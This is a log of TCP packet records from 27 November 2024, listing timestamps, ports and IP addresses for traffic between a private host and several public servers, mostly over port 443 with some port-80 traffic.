Nov 27, 2024 11:14:29.546461105 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.546472073 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.546499014 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.546519041 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.551695108 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.551708937 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.551815033 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.551824093 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.551868916 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.552488089 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.552508116 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.552577019 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.552584887 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.552643061 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.552643061 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.555958033 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.556005001 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.556039095 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.556078911 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.556150913 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.558830023 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.558851957 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.558957100 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.558964968 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.558991909 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.559050083 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.564173937 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.564218998 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.564280033 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:29.564280033 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.564387083 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:29.600296021 CET	49770	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:29.631335020 CET	49770	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:29.631352901 CET	443	49770	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:29.631840944 CET	443	49770	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:29.705995083 CET	49770	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:29.749543905 CET	49770	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:29.749663115 CET	443	49770	142.250.181.68	192.168.2.6
Nov 27, 2024 11:14:29.761991024 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.762017012 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.762032032 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.762126923 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:29.762145996 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.762202024 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:29.771308899 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:29.771390915 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:29.816585064 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:29.816618919 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:29.816958904 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:29.913333893 CET	49770	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:29.913348913 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:29.964909077 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.965014935 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:29.966708899 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.966756105 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:29.966804981 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:30.054913998 CET	49718	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:30.055273056 CET	49782	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:30.069559097 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:30.085490942 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:30.085490942 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:30.085505009 CET	443	49769	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:30.085635900 CET	49769	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:30.090274096 CET	49768	443	192.168.2.6	20.74.19.45
Nov 27, 2024 11:14:30.090291977 CET	443	49768	20.74.19.45	192.168.2.6
Nov 27, 2024 11:14:30.103765965 CET	49755	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:30.103774071 CET	443	49755	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:30.112757921 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:30.112787962 CET	443	49783	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:30.112884045 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:30.114708900 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:30.114722013 CET	443	49783	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:30.115334034 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.174823046 CET	80	49718	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:30.175204039 CET	80	49782	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:30.175309896 CET	49782	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:30.175568104 CET	49782	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:30.202507019 CET	49784	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:30.202521086 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:30.202627897 CET	49784	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:30.204035044 CET	49784	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:30.204047918 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:30.206203938 CET	443	49775	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.206670046 CET	49775	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.206681013 CET	443	49775	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.207146883 CET	49775	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.207151890 CET	443	49775	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.212965012 CET	49754	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:30.212975025 CET	443	49754	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:30.295608997 CET	80	49782	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:30.463700056 CET	443	49778	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.464663029 CET	49778	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.464680910 CET	443	49778	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.465951920 CET	49778	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.465959072 CET	443	49778	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.569289923 CET	443	49776	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.569936991 CET	49776	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.569952965 CET	443	49776	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.571008921 CET	49776	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.571014881 CET	443	49776	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.573035002 CET	443	49777	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.573702097 CET	49777	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.573733091 CET	443	49777	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.574544907 CET	49777	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.574556112 CET	443	49777	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.663791895 CET	443	49775	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.663852930 CET	443	49775	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.663912058 CET	49775	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.668833017 CET	49775	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.668833017 CET	49775	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.668857098 CET	443	49775	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.668868065 CET	443	49775	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.674050093 CET	49785	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.674077988 CET	443	49785	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.674164057 CET	49785	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.674490929 CET	49785	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.674504995 CET	443	49785	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.687752008 CET	49787	443	192.168.2.6	172.217.17.78
Nov 27, 2024 11:14:30.687786102 CET	443	49787	172.217.17.78	192.168.2.6
Nov 27, 2024 11:14:30.687844038 CET	49787	443	192.168.2.6	172.217.17.78
Nov 27, 2024 11:14:30.688199043 CET	49787	443	192.168.2.6	172.217.17.78
Nov 27, 2024 11:14:30.688211918 CET	443	49787	172.217.17.78	192.168.2.6
Nov 27, 2024 11:14:30.691112041 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.691132069 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.691138983 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.691165924 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.691175938 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.691188097 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.691199064 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:30.691220045 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.691248894 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:30.691276073 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:30.710033894 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.710043907 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.710088968 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:30.710095882 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.710105896 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.710151911 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:30.780189037 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:30.780217886 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.780230045 CET	49771	443	192.168.2.6	4.175.87.197
Nov 27, 2024 11:14:30.780236959 CET	443	49771	4.175.87.197	192.168.2.6
Nov 27, 2024 11:14:30.898659945 CET	443	49778	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.898736000 CET	443	49778	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.898788929 CET	49778	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.900504112 CET	49778	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.900504112 CET	49778	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.900522947 CET	443	49778	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.900532007 CET	443	49778	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.905152082 CET	49788	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.905185938 CET	443	49788	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:30.905251980 CET	49788	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.906440973 CET	49788	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:30.906454086 CET	443	49788	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.026803017 CET	443	49777	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.026978970 CET	443	49777	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.027035952 CET	49777	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.031061888 CET	443	49776	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.031120062 CET	443	49776	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.031179905 CET	49776	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.070097923 CET	49776	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.070149899 CET	443	49776	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.070178986 CET	49776	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.070194960 CET	443	49776	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.070233107 CET	49777	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.070262909 CET	443	49777	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.070275068 CET	49777	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.070281982 CET	443	49777	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.075155020 CET	49789	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.075189114 CET	443	49789	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.075289965 CET	49789	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.084605932 CET	443	49779	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.088758945 CET	49790	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.088793993 CET	443	49790	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.088850021 CET	49790	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.089255095 CET	49789	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.089267969 CET	443	49789	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.094243050 CET	49790	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.094257116 CET	443	49790	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.094400883 CET	49779	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.094413996 CET	443	49779	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.094815969 CET	49779	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.094820976 CET	443	49779	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.528656960 CET	443	49779	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.528714895 CET	443	49779	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.528835058 CET	49779	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.535809040 CET	49779	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.535826921 CET	443	49779	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.536079884 CET	49779	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.536086082 CET	443	49779	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.561759949 CET	49791	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.561784983 CET	443	49791	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.561866045 CET	49791	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.569561958 CET	49791	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:31.569576025 CET	443	49791	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:31.899776936 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.899825096 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.899985075 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.900151968 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.900190115 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.900468111 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.900764942 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.900773048 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.900947094 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.902354002 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.902362108 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.902450085 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.904089928 CET	49792	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.904089928 CET	49794	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.904103994 CET	443	49792	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.904117107 CET	443	49794	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.904490948 CET	49795	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.904500961 CET	443	49795	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.910459042 CET	49793	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.910478115 CET	443	49793	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.920555115 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.920587063 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.926635981 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.927351952 CET	49796	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.927366972 CET	443	49796	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.975121021 CET	49797	443	192.168.2.6	172.217.19.206
Nov 27, 2024 11:14:31.975145102 CET	443	49797	172.217.19.206	192.168.2.6
Nov 27, 2024 11:14:31.975236893 CET	49797	443	192.168.2.6	172.217.19.206
Nov 27, 2024 11:14:31.975662947 CET	49797	443	192.168.2.6	172.217.19.206
Nov 27, 2024 11:14:31.975671053 CET	443	49797	172.217.19.206	192.168.2.6
Nov 27, 2024 11:14:31.977627993 CET	443	49783	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.977880001 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:31.977952957 CET	49784	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:31.978005886 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.979259014 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.979271889 CET	443	49783	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:31.980146885 CET	49784	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:31.980159998 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:31.980405092 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:31.981086969 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:31.981097937 CET	443	49783	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:32.025958061 CET	49784	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:32.071330070 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:32.139182091 CET	80	49782	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:32.139348984 CET	49782	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:32.435035944 CET	443	49783	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:32.435374022 CET	443	49783	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:32.435450077 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:32.485764027 CET	443	49787	172.217.17.78	192.168.2.6
Nov 27, 2024 11:14:32.515034914 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:32.515094995 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:32.515147924 CET	49784	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:32.520777941 CET	443	49785	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.534583092 CET	49784	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:32.534593105 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:32.534609079 CET	49784	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:32.534615040 CET	443	49784	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:32.603600979 CET	49785	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.608153105 CET	49785	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.608161926 CET	443	49785	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.612313986 CET	49785	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.612323999 CET	443	49785	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.644242048 CET	49782	80	192.168.2.6	185.215.113.206
Nov 27, 2024 11:14:32.647244930 CET	49787	443	192.168.2.6	172.217.17.78
Nov 27, 2024 11:14:32.654927015 CET	49798	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:32.654959917 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:32.655018091 CET	49798	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:32.655375004 CET	49798	443	192.168.2.6	23.218.208.109
Nov 27, 2024 11:14:32.655388117 CET	443	49798	23.218.208.109	192.168.2.6
Nov 27, 2024 11:14:32.686440945 CET	443	49788	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.708167076 CET	49788	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.708178997 CET	443	49788	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.716957092 CET	49788	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.716964960 CET	443	49788	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.764106989 CET	80	49782	185.215.113.206	192.168.2.6
Nov 27, 2024 11:14:32.820076942 CET	443	49789	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.831618071 CET	49789	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.831626892 CET	443	49789	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.832832098 CET	49789	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.832838058 CET	443	49789	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.875075102 CET	443	49790	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.877710104 CET	49790	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.877733946 CET	443	49790	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.878160954 CET	49790	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.878173113 CET	443	49790	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.952392101 CET	49770	443	192.168.2.6	142.250.181.68
Nov 27, 2024 11:14:32.952892065 CET	49797	443	192.168.2.6	172.217.19.206
Nov 27, 2024 11:14:32.953289032 CET	49787	443	192.168.2.6	172.217.17.78
Nov 27, 2024 11:14:32.966388941 CET	443	49785	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.966439962 CET	443	49785	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.966566086 CET	49785	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.966953993 CET	49785	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.966953993 CET	49785	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.966976881 CET	443	49785	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.966989994 CET	443	49785	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.970151901 CET	49799	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.970172882 CET	443	49799	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.970263004 CET	49799	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.970372915 CET	49799	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:32.970380068 CET	443	49799	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:32.992217064 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:32.992237091 CET	443	49783	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:32.992249012 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:32.992289066 CET	49783	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:32.993858099 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:32.993880033 CET	443	49800	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:32.993954897 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:32.999181032 CET	49800	443	192.168.2.6	150.171.27.10
Nov 27, 2024 11:14:32.999207020 CET	443	49800	150.171.27.10	192.168.2.6
Nov 27, 2024 11:14:33.130659103 CET	443	49788	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.130723953 CET	443	49788	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.130796909 CET	49788	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.131145954 CET	49788	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.131170034 CET	443	49788	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.131182909 CET	49788	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.131191015 CET	443	49788	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.159333944 CET	49801	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.159396887 CET	443	49801	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.159465075 CET	49801	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.159820080 CET	49801	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.159836054 CET	443	49801	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.254276037 CET	443	49789	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.254434109 CET	443	49789	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.254502058 CET	49789	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.254837036 CET	49789	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.254852057 CET	443	49789	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.254863024 CET	49789	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.254868031 CET	443	49789	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.258029938 CET	49802	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.258086920 CET	443	49802	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.258182049 CET	49802	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.258455038 CET	49802	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.258466959 CET	443	49802	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.319433928 CET	443	49790	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.319499016 CET	443	49790	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.319677114 CET	49790	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.319845915 CET	49790	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.319863081 CET	443	49790	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.319875002 CET	49790	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.319881916 CET	443	49790	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.322338104 CET	49803	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.322381973 CET	443	49803	13.107.246.63	192.168.2.6
Nov 27, 2024 11:14:33.322617054 CET	49803	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.322787046 CET	49803	443	192.168.2.6	13.107.246.63
Nov 27, 2024 11:14:33.322803020 CET	443	49803	13.107.246.63	192.168.2.6
